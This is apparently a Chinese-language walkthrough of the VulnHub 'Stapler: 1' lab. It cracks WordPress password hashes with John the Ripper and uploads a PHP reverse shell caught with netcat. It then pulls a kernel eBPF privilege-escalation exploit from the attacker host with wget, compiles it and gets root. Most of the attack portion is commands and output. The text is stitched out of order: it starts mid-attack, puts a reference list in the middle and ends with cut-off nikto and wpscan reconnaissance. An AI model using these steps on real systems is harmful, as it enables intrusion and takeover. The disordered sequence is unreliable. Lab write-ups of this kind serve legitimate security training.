$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
接下來就是解密,kali有自帶密碼破解工具john,使用的字典檔是位於/usr/share/wordlists
的rockyou.txt
,要解密的檔案是pass.txt。
但如果是第一次使用這個字典檔,則要先把它(rockyou.txt.gz
)解壓縮:
$ cd /usr/share/wordlists/
$ ls
amass dirbuster fasttrack.txt john.lst metasploit rockyou.txt.gz sqlmap.txt wifite.txt
dirb dnsmap.txt fern-wifi legion nmap.lst seclists wfuzz
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for nathan:
$ ls
amass dirbuster fasttrack.txt john.lst metasploit rockyou.txt sqlmap.txt wifite.txt
dirb dnsmap.txt fern-wifi legion nmap.lst seclists wfuzz
接下來解密指令如下:
$ john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie (?)
monkey (?)
football (?)
coolgirl (?)
washere (?)
incorrect (?)
thumb (?)
0520 (?)
passphrase (?)
damachine (?)
ylle (?)
partyqueen (?)
12g 0:00:13:32 DONE (2022-11-05 15:09) 0.01476g/s 17643p/s 84828c/s 84828C/s !!!@@@!!!..?*?7¡Vamos!?
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
雖然解密了,但不曉得解出來的明文跟哪一個密文對應,要去察看根目錄隱藏資料夾.john,裡面有john.pot可看。
$ cd
$ cd .john
$ pwd
/home/nathan/.john
$ ls
john.log john.pot
$ cat john.pot
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1:cookie
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0:monkey
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1:football
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0:coolgirl
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0:washere
$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0:thumb
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0:0520
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10:passphrase
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.:damachine
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0:ylle
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1:partyqueen
這密碼順序跟1.txt裡的順序不同,要自己對對看,像第一個john它的密碼應該john.pot的第六個incorrect。
到之前也到過的登入頁面,用john/incorrect,登入後台:
0x02 Get Shell
利用wordpress的後台,上傳可以reverse shell的php檔。
點上圖紅圈處後到下圖,
再點上圖紅圈處,到下圖上傳檔案頁面。
kali自帶可以用來reverse shell的php檔,位置在/usr/share/webshells/php/php-reverse-shell.php
。
上傳之前要先編輯一下,把它打開後內容如下:
要改的是紅圈處,要把ip改成攻擊機的IP。至於port可以不用改,只是要記得等一下攻擊機在聽的時候要聽1234port。
在uploads頁面可看到剛剛上傳的php。
先在攻擊機上下指令nc -vlp 1234
,接下來只要點擊網頁上的php-reverse-shell.php
,即可get shell。
$ nc -vlp 1234
listening on [any] 1234 ...
connect to [172.22.137.180] from DESKTOP-NRNV04H.mshome.net [172.22.128.1] 60166
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
05:24:41 up 19:01, 0 users, load average: 0.34, 19.69, 42.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@red:/$
藉由python -c 'import pty;pty.spawn("/bin/bash")'
來穩定shell。
查找此靶機相關訊息:
www-data@red:/$ uname -mra
uname -mra
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
www-data@red:/$ cat /etc/*release*
cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
發現是32位元,kernel 4.4.0-21,ubuntu 16.04。
$ searchsploit linux kernel 4.4
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege | linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | linux/dos/41457.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation | linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Pr | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Conditio | windows_x86-64/local/47170.c
Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Esc | linux/local/39277.c
Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Esc | linux/local/40003.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Esc | linux/local/39772.txt
...
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalatio | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (PoC) | linux/dos/44301.c
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
只列出部分。要注意以下這一支感覺可以用的poc
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Pr | linux_x86-64/local/40049.c
是給64位linux,但靶機是32位,所以要用
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Esc | linux/local/39772.txt
把這支POC給複製過來,並查看裡面內容。
$ searchsploit -m 39772
Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
URL: https://www.exploit-db.com/exploits/39772
Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
File Type: C source, ASCII text
Copied to: /home/nathan/target_machine/stapler/39772.txt
$ ls
1.txt 39646.py 39772.txt 512237901.jpeg hashfile pass.txt todo-list.txt vsftpd.conf wordpress-4.tar.gz
$ cat 39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
for (i = 0; i < insn_cnt; i++, insn++) {
[checks for bad instructions]
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
[checks for bad instructions]
f = fdget(insn->imm);
map = __bpf_map_get(f);
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
fdput(f);
return PTR_ERR(map);
}
[...]
}
}
[...]
}
__bpf_map_get contains the following code:
/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/
struct bpf_map *__bpf_map_get(struct fd f)
{
if (!f.file)
return ERR_PTR(-EBADF);
if (f.file->f_op != &bpf_map_fops) {
fdput(f);
return ERR_PTR(-EINVAL);
}
return f.file->private_data;
}
The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.
A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.
One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.
There are two problems with this approach:
The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)
writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
照著上面txt的指示,在攻擊機上下載相關工具並解壓縮:
$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
--2022-11-06 13:41:24-- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip [following]
--2022-11-06 13:41:25-- https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=================================================>] 6.86K --.-KB/s in 0s
2022-11-06 13:41:25 (119 MB/s) - ‘39772.zip’ saved [7025/7025]
$ ls
1.txt 39772.txt 512237901.jpeg pass.txt vsftpd.conf
39646.py 39772.zip hashfile todo-list.txt wordpress-4.tar.gz
$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
$ cd 39772
$ ls
crasher.tar exploit.tar
$ tar xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
$ cd ebpf_mapfd_doubleput_exploit/
$ ls
compile.sh doubleput.c hello.c suidhelper.c
在攻擊機上開一個server,讓靶機可以下載:
$ python -m SimpleHTTPServer 80
/usr/bin/python: No module named SimpleHTTPServer
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.22.128.1 - - [06/Nov/2022 13:46:52] "GET / HTTP/1.1" 200 -
172.22.128.1 - - [06/Nov/2022 13:46:52] code 404, message File not found
172.22.128.1 - - [06/Nov/2022 13:46:52] "GET /favicon.ico HTTP/1.1" 404 -
開起來的網頁長這樣:
靶機透過以下指令下載上圖網頁上的攻擊腳本,並編譯執行:
www-data@red:/$ cd /tmp
cd /tmp
www-data@red:/tmp$ wget http://172.22.137.180:8000/compile.sh
wget http://172.22.137.180:8000/compile.sh
--2022-11-06 05:58:48-- http://172.22.137.180:8000/compile.sh
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 155 [text/x-sh]
Saving to: 'compile.sh'
compile.sh 100%[===================>] 155 --.-KB/s in 0s
2022-11-06 05:58:48 (50.8 MB/s) - 'compile.sh' saved [155/155]
www-data@red:/tmp$ wget http://172.22.137.180:8000/doubleput.c
wget http://172.22.137.180:8000/doubleput.c
--2022-11-06 05:58:58-- http://172.22.137.180:8000/doubleput.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4188 (4.1K) [text/x-csrc]
Saving to: 'doubleput.c'
doubleput.c 100%[===================>] 4.09K --.-KB/s in 0s
2022-11-06 05:58:58 (670 MB/s) - 'doubleput.c' saved [4188/4188]
www-data@red:/tmp$ wget http://172.22.137.180:8000/hello.c
wget http://172.22.137.180:8000/hello.c
--2022-11-06 05:59:05-- http://172.22.137.180:8000/hello.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2186 (2.1K) [text/x-csrc]
Saving to: 'hello.c'
hello.c 100%[===================>] 2.13K --.-KB/s in 0s
2022-11-06 05:59:05 (591 MB/s) - 'hello.c' saved [2186/2186]
www-data@red:/tmp$ wget http://172.22.137.180:8000/suidhelper.c
wget http://172.22.137.180:8000/suidhelper.c
--2022-11-06 05:59:11-- http://172.22.137.180:8000/suidhelper.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 255 [text/x-csrc]
Saving to: 'suidhelper.c'
suidhelper.c 100%[===================>] 255 --.-KB/s in 0s
2022-11-06 05:59:11 (76.3 MB/s) - 'suidhelper.c' saved [255/255]
www-data@red:/tmp$ chmod +x compile.sh
chmod +x compile.sh
www-data@red:/tmp$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
www-data@red:/tmp$ ls
ls
compile.sh doubleput.c hello.c suidhelper.c
doubleput hello suidhelper vmware-root
www-data@red:/tmp$ ./doubleput
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp#
提權成功。
找flag,這一次locate指令不能用,只能從root資料夾底下去找。
root@red:/# locate root
locate root
bash: locate: command not found
root@red:/# sudo ls -al /root
sudo ls -al /root
total 208
drwx------ 4 root root 4096 Nov 6 05:56 .
drwxr-xr-x 22 root root 4096 Jun 7 2016 ..
-rw------- 1 root root 1 Jun 5 2016 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 50 Jun 3 2016 .my.cnf
-rw------- 1 root root 1 Jun 5 2016 .mysql_history
drwxr-xr-x 11 root root 4096 Jun 3 2016 .oh-my-zsh
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Jun 5 2016 .rnd
drwxr-xr-x 2 root root 4096 Jun 4 2016 .vim
-rw------- 1 root root 1 Jun 5 2016 .viminfo
-rw-r--r-- 1 root root 39206 Jun 3 2016 .zcompdump
-rw-r--r-- 1 root root 39352 Jun 3 2016 .zcompdump-red-5.1.1
-rw-r--r-- 1 root root 17 Jun 3 2016 .zsh-update
-rw------- 1 root root 39 Jun 5 2016 .zsh_history
-rw-r--r-- 1 root root 2839 Jun 3 2016 .zshrc
-rwxr-xr-x 1 root root 1090 Jun 5 2016 fix-wordpress.sh
-rw-r--r-- 1 root root 463 Jun 5 2016 flag.txt
-rw-r--r-- 1 root root 345 Jun 5 2016 issue
-rwxr-xr-x 1 root root 103 Jun 5 2016 python.sh
-rw-r--r-- 1 root root 54405 Jun 5 2016 wordpress.sql
root@red:/# cat /root/flag.txt
cat /root/flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
VMware 导入 ovf 文件格式异常报错之探解 | Secrypt Agency
[第8天]偵查-Samba - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
红队渗透测试之Stapler-1——Wordpress后台getshell五种方法 - FreeBuf网络安全行业门户
VulnHub ‘Stapler: 1’ - CTF - Jack Hacks
https://www.c0dedead.io/stapler-walkthrough/
No.10-VulnHub-Stapler: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客
John the Ripper (JTR) 密碼暴力破解工具 - 駭客貓咪 HackerCat
https://bond-o.medium.com/vulnhub-stapler-1-ab928900d614
Kali WPScan的使用(WordPress扫描工具)
VulnHub - Stapler: 1 Walkthrough - StefLan's Security Blog
[【Vulnhub】 Stapler:1 | Secrypt Agency
看看能不能直接登入:
$ mysql -u root -p -h 192.168.44.227
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.44.1' (using password: NO)
看來也沒蠢到用空密碼。
這個port有開apache,直接網頁連連看,網址列是192.168.44.227:12380
檢視這網頁的原始碼,可以發現裡面有一行註釋:
<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! -->
所以可能有一個用戶Zoe。
而既然這裡有一個web網頁,當然用nikto或dirb掃掃看:
$ nikto -h 192.168.44.227:12380
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.227
+ Target Hostname: 192.168.44.227
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2022-11-01 12:20:40 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '192.168.44.227' does not match certificate's names: Red.Initech
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8071 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2022-11-01 12:24:07 (GMT8) (207 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
從nikto的掃瞄結果,可以發現有admin112233、blogblog還有phpmyadmin等隱藏路徑。
雖然直接用http://192.168.44.227:12380/admin112233
網頁不會變,但只要把http換成https就會顯示出如下網頁:
同樣的,用https://192.168.44.227:12380/blogblog/
,來拜訪:
在這個網頁的最下方,有:
檢視原始碼第163行,https://192.168.44.227:12380/blogblog/wp-login.php
,可到以下網頁
<li><a href="https://192.168.44.227:12380/blogblog/wp-login.php?action=register">Register</a></li> <li><a href="https://192.168.44.227:12380/blogblog/wp-login.php">Log in</a></li>
總之就是一個wordpress網頁。可以使用wpscan來掃描:
sudo wpscan --url https://192.168.44.227:12380/blogblog/ --enumerate u1-100,ap --plugins-detection aggressive --disable-tls-checks
這裡使用--enumerate u,ap
,分別代表枚舉前100名帳戶名(u1-100),枚舉所有外掛程式(ap),并添加 --plugins-detection aggressive
参数指定主动扫描模式,否則也完全掃不到外掛。添加 --disable-tls-checks
参数忽略 TLS 检查,不然根本掃不出結果。
$ sudo wpscan --url https://192.168.44.227:12380/blogblog/ --enumerate u1-100,ap --plugins-detection aggressive --disable-tls-checks
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://192.168.44.227:12380/blogblog/ [192.168.44.227]
[+] Started: Tue Nov 1 16:22:07 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://192.168.44.227:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://192.168.44.227:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Registration is enabled: https://192.168.44.227:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://192.168.44.227:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://192.168.44.227:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.44.227:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.44.227:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
[+] WordPress theme in use: bhost
| Location: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2022-10-30T00:00:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.6
| Style URL: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:03:44 <==================================> (100942 / 100942) 100.00% Time: 00:03:44
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] advanced-video-embed-embed-videos-or-playlists
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-10-14T13:52:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[+] akismet
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/
| Latest Version: 5.0.1
| Last Updated: 2022-09-28T15:27:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] shortcode-ui
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/
| Last Updated: 2019-01-16T22:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| [!] The version is out of date, the latest version is 0.7.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
|
| Version: 0.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[+] two-factor
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/
| Latest Version: 0.7.3
| Last Updated: 2022-10-17T15:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/, status: 200
|
| The version could not be determined.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:03 <========================================> (100 / 100) 100.00% Time: 00:00:03
[i] User(s) Identified:
[+] John Smith
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)
[+] heather
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] peter
